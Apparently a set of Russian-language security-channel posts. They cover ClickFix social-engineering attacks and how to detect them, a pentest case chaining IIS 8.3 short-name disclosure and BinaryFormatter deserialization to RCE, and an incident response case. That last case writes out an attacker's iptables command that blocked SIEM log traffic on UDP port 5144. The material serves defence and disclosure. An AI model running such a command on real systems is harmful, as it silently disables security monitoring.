А помните такую шутку из начала 2000-х? К вам приходит сообщение с текстом типа: "Здравствуйте! Я албанский вирус. К сожалению, я не владею высокими технологиями. Помогите мне пожалуйста: сотрите сами какой-нибудь важный файл на своём компьютере, а потом перешлите меня своим друзьям". За последние годы шутка стала реальностью благодаря массовым атакам, использующим технику ClickFix. Пользователь видит всплывающее окно с предложением выполнить определённые действия для исправления какой-то "проблемы" (например, для обновления браузера) либо для проверки, "что вы не робот"; поддавшись на такой трюк, человек выполняет предложенные действия, то есть самостоятельно загружает и выполняет вредоносный код на своём компьютере. Схема атаки в MacOS и Linux-средах идентична технике для Windows: жертва заманивается на фальшивый или взломанный сайт, в буфер обмена через JavaScript копируется команда, после чего пользователю предлагается вставить её в терминал. Отсутствие необходимости эксплуатировать уязвимости делает ClickFix эффективной техникой независимо от обновлений ПО. Тем не менее, ClickFix можно успешно детектировать на нескольких уровнях: хостовом (запуск LOLBin от explorer.exe), поведенческом (аномальная цепочка родитель-потомок, совпадающая с записями в RunMRU) и артефактном (RunMRU, tiptsf.dll, история браузера). Комбинация этой телеметрии с правилами корреляции в SIEM-системах позволяет выявлять атаки ClickFix на ранних стадиях — до того, как злоумышленник перейдёт к пост-эксплуатации. Подробный разбор типовых цепочек выполнения таких атак, а также различные способы их детектирования — в статье нашего эксперта Вадима Грачёва "Взломайте себя сами: разбираем технику ClickFix".

Объявлены результаты конкурса Pentest Awards 2026! И мы постепенно будем публиковать интересные кейсы, с которыми наши эксперты участвовали в этом конкурсе. Первым поздравляем Виктора Зварыкина: он уже второй год подряд забирает медаль "фаворит года по версии жюри". Вот что говорит сам автор о своём призовом кейсе: "Глубина — история о том, почему в информационной безопасности недостаточно просто запустить готовый инструмент и получить результат. Главный герой находит уязвимость в реальной системе, но довольно быстро понимает, что успешный взлом — это только начало. Вместе с более опытным другом он начинает разбираться, как устроена система и почему возможна эксплуатация этого вектора. Весь рассказ погружён в атмосферу цикла произведений "Глубина" Сергея Лукьяненко, где цифровой мир становится почти настоящим." Суть кейса кратко: Работы по анализу защищённости проходили в крупной иностранной компании, одной из главных задач пентеста было пробитие внешнего периметра. На этапе OSINT-разведки был обнаружен веб-интерфейс IIS (Internet Information Services), в котором часто встречается уязвимость чтения имен файлов и директорий в legacy-формате 8.3. Вследствие этого был обнаружен эндпоинт с неизвестным веб-сервисом, войти в который получилось благодаря нативно используемым учетным данным. Разобравшись с функциональностью приложения, наши герои выявили, что в одном из запросов информация передавалась как .NET-сериализованный объект, использовавший небезопасный сериализатор BinaryFormatter. Успешная эксплуатация привела к RCE через DNS-эксфильтрацию. Как избежать подобных атак: (1) Параметр реестра NtfsDisable8dot3NameCreation используется для управления созданием коротких имен файлов (в формате 8.3) на томах NTFS в операционных системах Windows. Этот параметр важен для обеспечения совместимости со старыми приложениями, использующими соглашение об именовании файлов 8.3, однако он также может влиять на производительность и безопасность. Чтобы устранить уязвимость, нужно поменять значение параметра NtfsDisable8dot3NameCreation на 1. Путь к нему: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem\NtfsDisable8dot3NameCreation Перед изменением значения необходимо проверить функционал работающих сервисов, чтобы не нарушить работу legacy-приложений. (2) Полностью откажитесь от BinaryFormatter: его крайне сложно безопасно настроить или защитить фильтрацией. Используйте современные сериализаторы — например, System.Text.Json, а принимаемые данные проверяйте по заранее определённой структуре и разрешённым типам. Для компактного бинарного формата Microsoft рекомендует MessagePack или protobuf-net; для XML — DataContractSerializer. Начиная с .NET 9 встроенная реализация BinaryFormatter уже отключена. (3) Используйте сложные и несловарные пароли для аутентификации в веб-сервисы. Полную версию кейса Виктора в стиле "Глубины" читайте в нашем гитхабе.

Как известно, самый надёжный способ обойти систему безопасности — это отключить систему безопасности. И вот практический пример. Во время расследования одного из инцидентов наши эксперты обнаружили, что атакующие получили root-доступ к Linux-серверу заказчика. Исследование сервера позволило выявить выполнение следующей команды:

iptables -A OUTPUT -p udp --dport 5144 -j DROP

Оказалось, что в инфраструктуре заказчика был развернут SIEM, который собирал audit-лог Linux пассивным методом: с помощью агента-коннектора SIEM. Именно на порт 5144 сервера-коллектора агент и отправлял с некоторым интервалом журнал аудита Linux. А с помощью команды, показанной выше, атакующие отключили данный узел от SIEM. Что делать для предотвращения: — создавать правила EDR/SIEM на изменение правил фаервола, в особенности в отношении портов, связанных с СЗИ, — детектировать командные строки, содержащие в себе iptables, New-NetFirewallRule, netsh advfirewall и пр. — проверять доступность агентов SIEM: если агент не отвечает длительное время, а сигнала о выключении системы не поступало — стоит поднимать алерт. А вообще это был лишь один из поучительных кейсов, которые будут представлены на конференции OFFZONE 2026 в докладе Кирилла Магаськина «2025 GERT Recap: Самые интересные техники и громкие фейлы злоумышленников» (21 августа, 12:00 - 12:30).